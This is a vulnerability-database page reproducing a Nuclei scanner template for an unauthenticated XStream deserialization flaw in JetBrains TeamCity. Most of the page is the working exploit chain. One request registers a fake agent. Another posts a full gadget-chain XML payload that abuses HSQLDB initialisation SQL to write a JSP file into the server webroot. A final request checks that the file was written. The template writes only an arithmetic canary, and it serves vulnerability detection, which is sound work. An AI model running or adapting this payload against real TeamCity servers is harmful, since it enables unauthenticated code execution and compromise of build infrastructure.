CVE-2026-63077: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution

2026-08-16 JetBrains TeamCity PoC Public

Description

JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.

PoC

id: CVE-2026-63077

info:
  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
  remediation: |
    Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
  reference:
    - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
    - https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
    - https://github.com/sfewer-r7/CVE-2026-63077
    - https://nvd.nist.gov/vuln/detail/CVE-2026-63077
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-63077
    cwe-id: CWE-502
    epss-score: 0.8957
    epss-percentile: 0.99785
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: jetbrains
    product: teamcity
    shodan-query: title:"TeamCity"
    fofa-query: title="TeamCity"
  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <agentDetails agentName="nuclei-{{randstr}}" agentAddress="127.0.0.1" agentPort="9090" authToken="nuclei-{{randstr}}" pingCode="">
          <alternativeAddresses/>
          <availableRunners/>
          <availableVcs/>
          <buildParameters/>
          <configParameters/>
        </agentDetails>

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - '(?i)teamcity-agentsessionid: ([^\r\n]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/agents/v1/commands/error HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        TeamCity-AgentSessionId: {{session}}
        TeamCity-AgentCommandId: 123456

        <?xml version="1.0" encoding="UTF-8"?>
        <linked-hash-map>
          <entry>
            <string>n1</string>
            <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
              <outer-class>
                <myHSQLStorage>
                  <myDataSource>
                    <defaultTransactionIsolation>-1</defaultTransactionIsolation>
                    <cacheState>true</cacheState>
                    <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
                    <lifo>true</lifo>
                    <maxTotal>8</maxTotal>
                    <maxIdle>8</maxIdle>
                    <minIdle>0</minIdle>
                    <initialSize>0</initialSize>
                    <maxWaitMillis>-1</maxWaitMillis>
                    <poolPreparedStatements>false</poolPreparedStatements>
                    <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
                    <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
                    <testOnCreate>false</testOnCreate>
                    <testOnBorrow>true</testOnBorrow>
                    <testOnReturn>false</testOnReturn>
                    <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
                    <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
                    <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
                    <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
                    <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
                    <testWhileIdle>false</testWhileIdle>
                    <password/>
                    <url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>
                    <userName>SA</userName>
                    <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
                    <connectionInitSqls>
                      <string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>
                      <string>INSERT INTO TN{{randstr}} VALUES ('&lt;p&gt;&lt;%=7*6%&gt;&lt;/p&gt;PD-TP-CONFIRMED')</string>
                      <string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>
                    </connectionInitSqls>
                    <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
                    <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
                    <logExpiredConnections>true</logExpiredConnections>
                    <autoCommitOnReturn>true</autoCommitOnReturn>
                    <rollbackOnReturn>true</rollbackOnReturn>
                    <fastFailValidation>false</fastFailValidation>
                    <connectionProperties/>
                    <closed>false</closed>
                  </myDataSource>
                  <myStopped>false</myStopped>
                  <myDatabaseOpen>false</myDatabaseOpen>
                </myHSQLStorage>
              </outer-class>
            </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
          </entry>
          <entry>
            <string>n2</string>
            <freemarker.ext.beans.HashAdapter>
              <wrapper>
                <sharedIntrospectionLock/>
                <classIntrospector>
                  <exposureLevel>0</exposureLevel>
                  <exposeFields>false</exposeFields>
                  <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
                  <incompatibleImprovements>
                    <major>2</major>
                    <minor>3</minor>
                    <micro>0</micro>
                    <intValue>2003000</intValue>
                    <calculatedStringValue>2.3.0</calculatedStringValue>
                    <hashCode>0</hashCode>
                  </incompatibleImprovements>
                  <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
                  <shared>false</shared>
                  <sharedLock reference="../../sharedIntrospectionLock"/>
                  <cache/>
                  <cacheClassNames/>
                  <classIntrospectionsInProgress/>
                  <modelFactories/>
                  <clearingCounter>0</clearingCounter>
                </classIntrospector>
                <falseModel>
                  <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
                  <wrapper reference="../.."/>
                  <value>false</value>
                </falseModel>
                <writeProtected>false</writeProtected>
                <defaultDateType>0</defaultDateType>
                <methodsShadowItems>true</methodsShadowItems>
                <simpleMapWrapper>false</simpleMapWrapper>
                <strict>false</strict>
                <preferIndexedReadMethod>true</preferIndexedReadMethod>
                <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
              </wrapper>
              <model reference="../wrapper/falseModel"/>
            </freemarker.ext.beans.HashAdapter>
          </entry>
          <entry>
            <string>n3</string>
            <set>
              <org.apache.commons.collections.keyvalue.TiedMapEntry>
                <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
                <key class="string">connection</key>
              </org.apache.commons.collections.keyvalue.TiedMapEntry>
            </set>
          </entry>
        </linked-hash-map>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
        internal: true

  - raw:
      - |
        GET /pd-tp-{{randstr}}.jspws HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PD-TP-CONFIRMED"

      - type: word
        part: body
        words:
          - "<%=7*6%>"
        negative: true

      - type: status
        status:
          - 200

      - type: status
        status:
          - 200
# digest: 490a0046304402202fb9cfbaff5156d4e24cd9f8184c3bd90b2c4aed1b4f954984ff7e395020b65f022043fc14723c3b1aad254a612cc9984321b115b78200b1bbd799577be85c5789da:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities